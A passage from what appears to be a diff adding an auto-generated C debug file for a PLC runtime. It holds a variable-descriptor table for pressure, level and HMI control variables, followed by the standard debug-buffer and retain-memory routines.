+{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void 